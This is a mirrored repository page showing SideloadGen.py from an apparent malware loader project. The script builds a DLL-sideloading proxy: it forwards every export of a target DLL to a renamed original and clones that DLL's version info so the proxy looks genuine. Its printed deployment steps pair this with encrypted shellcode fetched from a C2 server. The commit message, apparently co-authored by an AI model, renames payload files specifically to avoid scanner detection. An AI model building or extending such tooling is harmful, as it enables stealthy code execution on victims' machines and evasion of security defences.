mirror of
https://github.com/xAL6/zero-loader
synced 2026-06-06 17:03:01 +00:00
dfb8c5d63c
The URL passed via --url (e.g. https://server/payload.dat) and the file Encrypt.py wrote (data.enc) didn't match — operators had to rename the file before uploading, which was both error-prone and pointlessly noisy ("data.enc" itself screams "encrypted blob" to any FS scanner). Encrypt.py now defaults the output filename to the URL's last path component, so encrypt-then-upload is a no-rename flow. --out <file> overrides if a different name is needed. --url https://c2/payload.dat -> writes payload.dat --url https://c2/foo.bin -> writes foo.bin --url https://c2/x --out something.dat -> writes something.dat Downstream: - tests/c2-integration/build-demos.py: reads ROOT/<label>.dat directly instead of ROOT/data.enc → ENC_DIR/<label>.dat. - tests/c2-integration/run-loader-test.py: looks for payload.dat after the build step (URL basename is hardcoded to payload.dat for the runner). - host-payload.py docstring + route handler: keeps /payload.dat as the primary URL; /data.enc still aliased for backward compat. - SideloadGen.py deploy hint: updated. - CLAUDE.md / README.md / web/static/index.html: docs updated to refer to the URL-basename convention instead of hardcoded "data.enc". - .gitignore: payload.dat + *.enc added. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
424 lines
14 KiB
Python
424 lines
14 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
SideloadGen.py - DLL Sideload Export Forwarding Generator
|
|
|
|
Parses a target DLL's PE export table and generates Sideload.h
|
|
with #pragma comment(linker, "/export:...") directives that
|
|
forward every export to the renamed original DLL.
|
|
|
|
Usage:
|
|
python SideloadGen.py <target.dll> [--rename <new_name>] [--exe <host.exe>]
|
|
|
|
Example:
|
|
python SideloadGen.py C:\\Windows\\System32\\<target>.dll
|
|
python SideloadGen.py <target>.dll --rename <name>.dll --exe <host>.exe
|
|
|
|
Then:
|
|
python Encrypt.py <shellcode.bin> --url <C2_URL>
|
|
build.bat sideload [output_name.dll]
|
|
"""
|
|
|
|
import sys
|
|
import os
|
|
import struct
|
|
import ctypes
|
|
from ctypes import wintypes
|
|
|
|
|
|
# ---- Version Info Extraction (Windows API) ----
|
|
|
|
class VS_FIXEDFILEINFO(ctypes.Structure):
|
|
_fields_ = [
|
|
("dwSignature", wintypes.DWORD),
|
|
("dwStrucVersion", wintypes.DWORD),
|
|
("dwFileVersionMS", wintypes.DWORD),
|
|
("dwFileVersionLS", wintypes.DWORD),
|
|
("dwProductVersionMS", wintypes.DWORD),
|
|
("dwProductVersionLS", wintypes.DWORD),
|
|
("dwFileFlagsMask", wintypes.DWORD),
|
|
("dwFileFlags", wintypes.DWORD),
|
|
("dwFileOS", wintypes.DWORD),
|
|
("dwFileType", wintypes.DWORD),
|
|
("dwFileSubtype", wintypes.DWORD),
|
|
("dwFileDateMS", wintypes.DWORD),
|
|
("dwFileDateLS", wintypes.DWORD),
|
|
]
|
|
|
|
|
|
def extract_version_info(dll_path):
|
|
"""Extract VS_VERSIONINFO from a DLL using the Windows version API."""
|
|
if sys.platform != 'win32':
|
|
return None
|
|
|
|
ver = ctypes.windll.version
|
|
|
|
size = ver.GetFileVersionInfoSizeW(dll_path, None)
|
|
if size == 0:
|
|
return None
|
|
|
|
buf = ctypes.create_string_buffer(size)
|
|
if not ver.GetFileVersionInfoW(dll_path, 0, size, buf):
|
|
return None
|
|
|
|
# --- Fixed version info ---
|
|
p_fixed = ctypes.c_void_p()
|
|
fixed_len = wintypes.UINT()
|
|
if not ver.VerQueryValueW(buf, "\\", ctypes.byref(p_fixed), ctypes.byref(fixed_len)):
|
|
return None
|
|
|
|
fixed = ctypes.cast(p_fixed, ctypes.POINTER(VS_FIXEDFILEINFO)).contents
|
|
|
|
file_version = (
|
|
(fixed.dwFileVersionMS >> 16) & 0xFFFF, fixed.dwFileVersionMS & 0xFFFF,
|
|
(fixed.dwFileVersionLS >> 16) & 0xFFFF, fixed.dwFileVersionLS & 0xFFFF,
|
|
)
|
|
product_version = (
|
|
(fixed.dwProductVersionMS >> 16) & 0xFFFF, fixed.dwProductVersionMS & 0xFFFF,
|
|
(fixed.dwProductVersionLS >> 16) & 0xFFFF, fixed.dwProductVersionLS & 0xFFFF,
|
|
)
|
|
|
|
# --- Translation (language + codepage) ---
|
|
p_trans = ctypes.c_void_p()
|
|
trans_len = wintypes.UINT()
|
|
lang_id, code_page = 0x0409, 1200 # defaults: English US, Unicode
|
|
|
|
if ver.VerQueryValueW(buf, "\\VarFileInfo\\Translation",
|
|
ctypes.byref(p_trans), ctypes.byref(trans_len)):
|
|
if trans_len.value >= 4:
|
|
trans = ctypes.cast(p_trans, ctypes.POINTER(wintypes.WORD * 2)).contents
|
|
lang_id = trans[0]
|
|
code_page = trans[1]
|
|
|
|
# --- String values ---
|
|
string_keys = [
|
|
"CompanyName", "FileDescription", "FileVersion",
|
|
"InternalName", "LegalCopyright", "OriginalFilename",
|
|
"ProductName", "ProductVersion",
|
|
]
|
|
|
|
strings = {}
|
|
block_id = f"{lang_id:04x}{code_page:04x}"
|
|
|
|
for key in string_keys:
|
|
query = f"\\StringFileInfo\\{block_id}\\{key}"
|
|
p_val = ctypes.c_void_p()
|
|
val_len = wintypes.UINT()
|
|
if ver.VerQueryValueW(buf, query, ctypes.byref(p_val), ctypes.byref(val_len)):
|
|
if val_len.value > 0 and p_val.value:
|
|
strings[key] = ctypes.cast(p_val, ctypes.c_wchar_p).value
|
|
|
|
return {
|
|
'file_version': file_version,
|
|
'product_version': product_version,
|
|
'file_flags_mask': fixed.dwFileFlagsMask,
|
|
'file_flags': fixed.dwFileFlags,
|
|
'file_os': fixed.dwFileOS,
|
|
'file_type': fixed.dwFileType,
|
|
'file_subtype': fixed.dwFileSubtype,
|
|
'lang_id': lang_id,
|
|
'code_page': code_page,
|
|
'strings': strings,
|
|
}
|
|
|
|
|
|
def generate_rc_file(ver_info):
|
|
"""Generate a .rc resource file with version info cloned from target DLL."""
|
|
fv = ver_info['file_version']
|
|
pv = ver_info['product_version']
|
|
|
|
lines = [
|
|
"// Auto-generated by SideloadGen.py",
|
|
"",
|
|
"1 VERSIONINFO",
|
|
f" FILEVERSION {fv[0]},{fv[1]},{fv[2]},{fv[3]}",
|
|
f" PRODUCTVERSION {pv[0]},{pv[1]},{pv[2]},{pv[3]}",
|
|
f" FILEFLAGSMASK 0x{ver_info['file_flags_mask']:x}L",
|
|
f" FILEFLAGS 0x{ver_info['file_flags']:x}L",
|
|
f" FILEOS 0x{ver_info['file_os']:x}L",
|
|
f" FILETYPE 0x{ver_info['file_type']:x}L",
|
|
f" FILESUBTYPE 0x{ver_info['file_subtype']:x}L",
|
|
"BEGIN",
|
|
' BLOCK "StringFileInfo"',
|
|
" BEGIN",
|
|
f' BLOCK "{ver_info["lang_id"]:04x}{ver_info["code_page"]:04x}"',
|
|
" BEGIN",
|
|
]
|
|
|
|
for key, value in ver_info['strings'].items():
|
|
escaped = value.replace("\\", "\\\\").replace('"', '\\"')
|
|
lines.append(f' VALUE "{key}", "{escaped}"')
|
|
|
|
lines.extend([
|
|
" END",
|
|
" END",
|
|
' BLOCK "VarFileInfo"',
|
|
" BEGIN",
|
|
f' VALUE "Translation", 0x{ver_info["lang_id"]:04x}, {ver_info["code_page"]}',
|
|
" END",
|
|
"END",
|
|
"",
|
|
])
|
|
|
|
return "\n".join(lines)
|
|
|
|
|
|
# ---- PE Export Parsing ----
|
|
|
|
def rva_to_offset(rva, sections):
|
|
"""Convert an RVA to file offset using section headers."""
|
|
for _, vaddr, vsize, raw_offset, raw_size in sections:
|
|
end = vaddr + max(vsize, raw_size)
|
|
if vaddr <= rva < end:
|
|
return raw_offset + (rva - vaddr)
|
|
return None
|
|
|
|
|
|
def read_cstring(data, offset):
|
|
"""Read null-terminated ASCII string from data at offset."""
|
|
end = data.index(b'\x00', offset)
|
|
return data[offset:end].decode('ascii', errors='replace')
|
|
|
|
|
|
def parse_exports(dll_path):
|
|
"""
|
|
Parse PE export table from a DLL file.
|
|
|
|
Returns:
|
|
exports: list of (name_or_None, ordinal) tuples
|
|
ordinal_base: the ordinal base from the export directory
|
|
"""
|
|
with open(dll_path, 'rb') as f:
|
|
data = f.read()
|
|
|
|
# --- DOS Header ---
|
|
if data[:2] != b'MZ':
|
|
raise ValueError("Not a valid PE file (no MZ signature)")
|
|
|
|
pe_offset = struct.unpack_from('<I', data, 0x3C)[0]
|
|
if data[pe_offset:pe_offset + 4] != b'PE\x00\x00':
|
|
raise ValueError("Invalid PE signature")
|
|
|
|
# --- COFF Header ---
|
|
num_sections = struct.unpack_from('<H', data, pe_offset + 6)[0]
|
|
opt_header_size = struct.unpack_from('<H', data, pe_offset + 20)[0]
|
|
|
|
# --- Optional Header (PE32 / PE32+) ---
|
|
opt_offset = pe_offset + 24
|
|
magic = struct.unpack_from('<H', data, opt_offset)[0]
|
|
|
|
if magic == 0x20B: # PE32+ (64-bit)
|
|
export_rva = struct.unpack_from('<I', data, opt_offset + 112)[0]
|
|
export_size = struct.unpack_from('<I', data, opt_offset + 116)[0]
|
|
elif magic == 0x10B: # PE32 (32-bit)
|
|
export_rva = struct.unpack_from('<I', data, opt_offset + 96)[0]
|
|
export_size = struct.unpack_from('<I', data, opt_offset + 100)[0]
|
|
else:
|
|
raise ValueError(f"Unknown PE optional header magic: 0x{magic:04X}")
|
|
|
|
if export_rva == 0 or export_size == 0:
|
|
return [], 0
|
|
|
|
# --- Section Headers ---
|
|
sec_table = pe_offset + 24 + opt_header_size
|
|
sections = []
|
|
for i in range(num_sections):
|
|
sec = sec_table + i * 40
|
|
sec_name = data[sec:sec + 8].rstrip(b'\x00').decode('ascii', errors='replace')
|
|
vsize = struct.unpack_from('<I', data, sec + 8)[0]
|
|
vaddr = struct.unpack_from('<I', data, sec + 12)[0]
|
|
raw_size = struct.unpack_from('<I', data, sec + 16)[0]
|
|
raw_ptr = struct.unpack_from('<I', data, sec + 20)[0]
|
|
sections.append((sec_name, vaddr, vsize, raw_ptr, raw_size))
|
|
|
|
# --- Export Directory ---
|
|
exp_off = rva_to_offset(export_rva, sections)
|
|
if exp_off is None:
|
|
return [], 0
|
|
|
|
ordinal_base = struct.unpack_from('<I', data, exp_off + 16)[0]
|
|
num_functions = struct.unpack_from('<I', data, exp_off + 20)[0]
|
|
num_names = struct.unpack_from('<I', data, exp_off + 24)[0]
|
|
funcs_rva = struct.unpack_from('<I', data, exp_off + 28)[0]
|
|
names_rva = struct.unpack_from('<I', data, exp_off + 32)[0]
|
|
ordinals_rva = struct.unpack_from('<I', data, exp_off + 36)[0]
|
|
|
|
funcs_off = rva_to_offset(funcs_rva, sections)
|
|
names_off = rva_to_offset(names_rva, sections)
|
|
ordinals_off = rva_to_offset(ordinals_rva, sections)
|
|
|
|
if not funcs_off:
|
|
return [], ordinal_base
|
|
|
|
# --- Named exports ---
|
|
named_indices = set()
|
|
exports = []
|
|
|
|
if names_off and ordinals_off:
|
|
for i in range(num_names):
|
|
name_rva = struct.unpack_from('<I', data, names_off + i * 4)[0]
|
|
name_off = rva_to_offset(name_rva, sections)
|
|
if name_off is None:
|
|
continue
|
|
|
|
name = read_cstring(data, name_off)
|
|
ordinal_idx = struct.unpack_from('<H', data, ordinals_off + i * 2)[0]
|
|
named_indices.add(ordinal_idx)
|
|
exports.append((name, ordinal_base + ordinal_idx))
|
|
|
|
# --- Ordinal-only exports ---
|
|
for i in range(num_functions):
|
|
if i not in named_indices:
|
|
func_rva = struct.unpack_from('<I', data, funcs_off + i * 4)[0]
|
|
if func_rva != 0:
|
|
exports.append((None, ordinal_base + i))
|
|
|
|
return exports, ordinal_base
|
|
|
|
|
|
def generate_sideload_h(exports, orig_name, renamed_name, target_exe=None):
|
|
"""Generate Sideload.h content with export forwarding pragmas."""
|
|
# Linker uses DLL name without .dll extension for forward references
|
|
link_name = renamed_name
|
|
if link_name.lower().endswith('.dll'):
|
|
link_name = link_name[:-4]
|
|
|
|
lines = [
|
|
"#pragma once",
|
|
"",
|
|
"// Auto-generated by SideloadGen.py \u2014 do not edit",
|
|
f"// Target DLL: {orig_name}",
|
|
f"// Renamed original: {renamed_name}",
|
|
]
|
|
if target_exe:
|
|
lines.append(f"// Host executable: {target_exe}")
|
|
lines.append(f"// Exports forwarded: {len(exports)}")
|
|
lines.append("")
|
|
lines.append(f'#define SIDELOAD_ORIG_DLL "{renamed_name}"')
|
|
lines.append("")
|
|
lines.append("// Export forwarding to renamed original DLL")
|
|
lines.append("// The PE loader natively resolves these forwards at load time")
|
|
lines.append("// \u2014 no proxy code executes for legitimate API calls.")
|
|
|
|
named_count = 0
|
|
ordinal_count = 0
|
|
|
|
# Sort: named exports alphabetically, then ordinal-only by ordinal
|
|
for name, ordinal in sorted(exports, key=lambda x: (x[0] is None, x[0] or '', x[1])):
|
|
if name:
|
|
lines.append(
|
|
f'#pragma comment(linker, "/export:{name}={link_name}.{name}")'
|
|
)
|
|
named_count += 1
|
|
else:
|
|
# Ordinal-only: internal name is arbitrary (NONAME hides it)
|
|
lines.append(
|
|
f'#pragma comment(linker, "/export:Ordinal{ordinal}={link_name}.#{ordinal},@{ordinal},NONAME")'
|
|
)
|
|
ordinal_count += 1
|
|
|
|
lines.append("")
|
|
return "\n".join(lines) + "\n", named_count, ordinal_count
|
|
|
|
|
|
# ---- Main ----
|
|
|
|
def main():
|
|
if len(sys.argv) < 2:
|
|
print(f"Usage: {sys.argv[0]} <target.dll> [--rename <new_name>] [--exe <host.exe>]")
|
|
print()
|
|
print("Generates Sideload.h with export forwarding for DLL sideloading.")
|
|
print()
|
|
print("Options:")
|
|
print(" --rename <name> Name for renamed original DLL (default: <base>_orig.dll)")
|
|
print(" --exe <name> Host executable name (informational only)")
|
|
print()
|
|
print("Pick any non-KnownDLL that the host EXE imports.")
|
|
sys.exit(1)
|
|
|
|
dll_path = sys.argv[1]
|
|
|
|
# Parse optional arguments
|
|
renamed = None
|
|
target_exe = None
|
|
i = 2
|
|
while i < len(sys.argv):
|
|
if sys.argv[i] == "--rename" and i + 1 < len(sys.argv):
|
|
renamed = sys.argv[i + 1]
|
|
i += 2
|
|
elif sys.argv[i] == "--exe" and i + 1 < len(sys.argv):
|
|
target_exe = sys.argv[i + 1]
|
|
i += 2
|
|
else:
|
|
print(f"[!] Unknown argument: {sys.argv[i]}")
|
|
sys.exit(1)
|
|
|
|
if not os.path.isfile(dll_path):
|
|
print(f"[!] File not found: {dll_path}")
|
|
sys.exit(1)
|
|
|
|
orig_name = os.path.basename(dll_path)
|
|
|
|
# Default: insert _orig before extension
|
|
if not renamed:
|
|
base, ext = os.path.splitext(orig_name)
|
|
renamed = f"{base}_orig{ext}"
|
|
|
|
print(f"[*] Parsing exports: {dll_path}")
|
|
|
|
try:
|
|
exports, ordinal_base = parse_exports(dll_path)
|
|
except ValueError as e:
|
|
print(f"[!] {e}")
|
|
sys.exit(1)
|
|
|
|
if not exports:
|
|
print("[!] No exports found in target DLL")
|
|
sys.exit(1)
|
|
|
|
named = sum(1 for e in exports if e[0] is not None)
|
|
ordinal_only = len(exports) - named
|
|
print(f"[+] Found {len(exports)} exports ({named} named, {ordinal_only} ordinal-only, base={ordinal_base})")
|
|
|
|
# Generate Sideload.h
|
|
script_dir = os.path.dirname(os.path.abspath(__file__))
|
|
content, nc, oc = generate_sideload_h(exports, orig_name, renamed, target_exe)
|
|
|
|
out_path = os.path.join(script_dir, "Sideload.h")
|
|
with open(out_path, "w") as f:
|
|
f.write(content)
|
|
|
|
print(f"[+] Generated: Sideload.h")
|
|
print(f"[+] Forwarding: {orig_name} -> {renamed}")
|
|
|
|
# Extract and clone version info from target DLL
|
|
ver_info = extract_version_info(dll_path)
|
|
if ver_info and ver_info['strings']:
|
|
rc_content = generate_rc_file(ver_info)
|
|
rc_path = os.path.join(script_dir, "Sideload.rc")
|
|
with open(rc_path, "w", encoding='utf-8') as f:
|
|
f.write(rc_content)
|
|
|
|
desc = ver_info['strings'].get('FileDescription', '?')
|
|
company = ver_info['strings'].get('CompanyName', '?')
|
|
fv = ver_info['file_version']
|
|
print(f"[+] Generated: Sideload.rc (version info cloned)")
|
|
print(f" Company: {company}")
|
|
print(f" Description: {desc}")
|
|
print(f" Version: {fv[0]}.{fv[1]}.{fv[2]}.{fv[3]}")
|
|
else:
|
|
print("[*] Version info not available (proxy DLL will have no metadata)")
|
|
|
|
print()
|
|
print("[*] Next steps:")
|
|
print(f" 1. python Encrypt.py <shellcode.bin> --url <C2_URL>")
|
|
print(f" 2. build.bat sideload")
|
|
print(f" 3. Deploy:")
|
|
print(f" - Rename real {orig_name} -> {renamed}")
|
|
print(f" - Place built {orig_name} alongside host executable")
|
|
print(f" - Place {renamed} in same directory")
|
|
print(f" - Upload the encrypted payload (URL basename, e.g. payload.dat) to C2 server")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|